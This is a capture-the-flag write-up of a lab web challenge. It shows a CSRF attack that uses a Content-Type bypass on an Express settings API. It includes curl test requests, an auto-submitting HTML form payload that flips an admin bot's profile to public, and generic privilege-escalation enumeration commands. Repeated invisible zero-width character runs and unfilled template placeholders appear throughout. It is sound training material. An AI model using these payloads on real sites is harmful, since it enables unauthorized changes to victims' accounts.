← Back to Writeups
HTBN/AWeb

DevPulse — CSRF via JSON Content-Type Bypass

XESXOR8/23/20265 min read
#web#htb#n/a

DevPulse — CSRF via JSON Content-Type Bypass

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-19 | Status: Solved Techniques: admin_bot_csrf, csrf_content_type_bypass, form_urlencoded_to_json_api, samesite_lax_top_level_navigation

Summary

Task: Express.js developer analytics platform with JSON API settings endpoint, admin bot visits reported URLs, admin profile is private. Solution: CSRF via Content-Type bypass — the JSON API also accepts application/x-www-form-urlencoded, enabling a cross-origin form POST that bypasses SameSite=Lax as a top-level navigation to change admin's profile visibility to public.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260519_hackadvisor_devpulse_csrf
  • Tags: express, csrf, admin_bot, session_cookie, json_api, content_type_bypass, samesite_lax
  • Indicators: JSON API endpoint that also accepts application/x-www-form-urlencoded or text/plain, No CSRF tokens on state-changing POST endpoints, SameSite=Lax session cookie with admin bot that visits attacker URLs, Settings/profile visibility toggle via API, Report page where admin visits submitted URLs
  • Source: 20260519_hackadvisor_devpulse_csrf.md

Foothold

Vulnerability / Misconfiguration

  1. Admin_bot_csrf
  2. Csrf_content_type_bypass
  3. Form_urlencoded_to_json_api
  4. Samesite_lax_top_level_navigation
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • admin_bot_csrf
  • csrf_content_type_bypass
  • form_urlencoded_to_json_api
  • samesite_lax_top_level_navigation
  • Tags: express, csrf, admin_bot, session_cookie, json_api, content_type_bypass, samesite_lax

Original Writeup

<details><summary>Click to expand original content</summary>

Description

DevPulse is a developer productivity analytics platform built by PulseWave Technologies. It tracks coding activity across IDEs, browsers, and terminals, letting developers monitor daily coding hours, view project breakdowns, and manage their public developer profiles. The platform provides a REST API for IDE plugin integrations and a web dashboard for visualizing coding metrics. Users can control whether their profile and stats are visible publicly or kept private. An admin account manages the platform and reviews user-submitted reports. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: Express.js web app with user profiles, privacy settings, and an admin bot that visits URLs submitted via a report page. The admin's profile is private and contains the flag. Goal is to perform actions on behalf of the admin without their consent (CSRF).

Analysis

Application Reconnaissance

  • Stack: Express.js behind nginx/1.25.5
  • Session: connect.sid cookie with HttpOnly; Secure; SameSite=Lax
  • Key pages: /dashboard, /settings, /report, /leaderboard, /profile/<username>
  • Admin bot: The /report page accepts a URL — "Submitted URLs are reviewed by a platform administrator who will visit the link to verify the report"
  • Admin profile: /profile/admin shows "This profile is private" — the flag is behind the privacy wall ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Settings API

Client-side settings.js reveals all settings updates go through a JSON API:

function postSettings(data) {
    return fetch('/api/v1/settings', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      credentials: 'same-origin',
      body: JSON.stringify(data)
    }).then(function(r) { return r.json(); });
}

The privacy form sends {"dashboard_visibility": "public"} or {"dashboard_visibility": "private"}.

No CSRF Protection

There are no CSRF tokens on any forms or API requests. The apparent protections are: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  1. Content-Type: application/json — cross-origin requests with this header trigger CORS preflight, which the server doesn't support (OPTIONS returns 404)
  2. SameSite=Lax on the session cookie — blocks cross-origin fetch() POST and iframe form submissions

Content-Type Bypass Discovery

Testing revealed the API accepts multiple Content-Types, not just JSON:

# application/json — works (normal)
curl -s -b "$COOKIE" -X POST "$TARGET/api/v1/settings" \
  -H "Content-Type: application/json" \
  -d '{"dashboard_visibility":"public"}'
# → {"success":true,...}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# text/plain — works! (CSRF bypass)
curl -s -b "$COOKIE" -X POST "$TARGET/api/v1/settings" \
  -H "Content-Type: text/plain" \
  -d '{"dashboard_visibility":"public"}'
# → {"success":true,...}

# application/x-www-form-urlencoded — works! (CSRF bypass)
curl -s -b "$COOKIE" -X POST "$TARGET/api/v1/settings" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "dashboard_visibility=public"
# → {"success":true,...}

Both text/plain and application/x-www-form-urlencoded are CORS "simple" Content-Types that do not trigger preflight. This means a cross-origin HTML form can submit requests to this API endpoint. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

SameSite=Lax Behavior

SameSite=Lax cookies are sent on top-level form POST navigations (the form submit navigates the entire page). They are not sent on:

  • fetch() / XMLHttpRequest cross-origin requests
  • Form submissions targeting iframes (target="framename")
  • navigator.sendBeacon() calls

The critical insight: use a plain <form> without any target attribute — making it a true top-level navigation where SameSite=Lax allows the cookie.

Solution

1. Create CSRF payload

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

<html>
<body>
<form id="csrf" method="POST" 
  action="https://fb3e85c1-ef13-4aef-8341-58f3c8c0dedd.labs.hackadvisor.io/api/v1/settings" 
  enctype="application/x-www-form-urlencoded">
<input type="hidden" name="dashboard_visibility" value="public" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. Host and deliver

  1. Uploaded csrf.html to the HackAdvisor Interaction Server at http://interact/<UUID>/csrf.html
  2. Submitted the Interaction Server URL via the /report form
  3. Admin bot visited the URL → form auto-submitted → admin's dashboard_visibility changed to public
  4. Visited /profile/admin — profile was now public, revealing the flag ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Failed approaches

ApproachWhy it failed
enctype="text/plain" with JSON body + iframe targetSameSite=Lax blocked cookies — iframe form submission is NOT a top-level navigation
fetch() with mode: 'no-cors' and credentials: 'include'SameSite=Lax blocked cookies on cross-origin fetch POST
navigator.sendBeacon()SameSite=Lax blocked cookies (not a top-level navigation)
XSS in display_nameProperly HTML-escaped everywhere
API key authenticationDoesn't work without session cookie for settings
IDOR via user_id parameterServer ignores it, always updates current session user
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR